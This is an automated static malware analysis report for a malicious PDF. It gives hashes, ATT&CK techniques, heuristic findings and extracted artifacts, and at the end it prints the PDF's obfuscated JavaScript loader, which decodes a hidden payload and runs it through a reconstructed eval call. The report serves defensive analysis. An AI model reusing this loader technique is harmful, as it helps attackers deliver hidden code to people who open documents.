Malicious PDF — malware analysis report

Static analysis result for SHA-256 ce6ac72246338839…

MALICIOUS

PDF

5.9 KB First seen: 2026-05-08
MD5: 8b30cd7fb037c10eef25fa1caad9792b SHA-1: 48521c727e84367c72e6e60641f9da7b1c981aee SHA-256: ce6ac7224633883915c06c6e6d1b9da602e43a779de50fdc569e386cb8f78c22
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The PDF file contains embedded JavaScript and an embedded binary file, both of which are common methods for delivering malicious payloads. The JavaScript stream is likely responsible for executing the embedded file or initiating a download. The presence of these elements strongly indicates an attempt to exploit the user or the system.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 150300 bytes
SHA-256: b06d5a5fca2232cd2d155cd016531eb63e61d3d1c312d841f8eb9a9ad82f6ffe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
329 of 329 identifiers look randomly generated (e.g. 'LmrhnsVWrmmU1b5181LmrhnsVWrmmU1b5182Lmrh') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);

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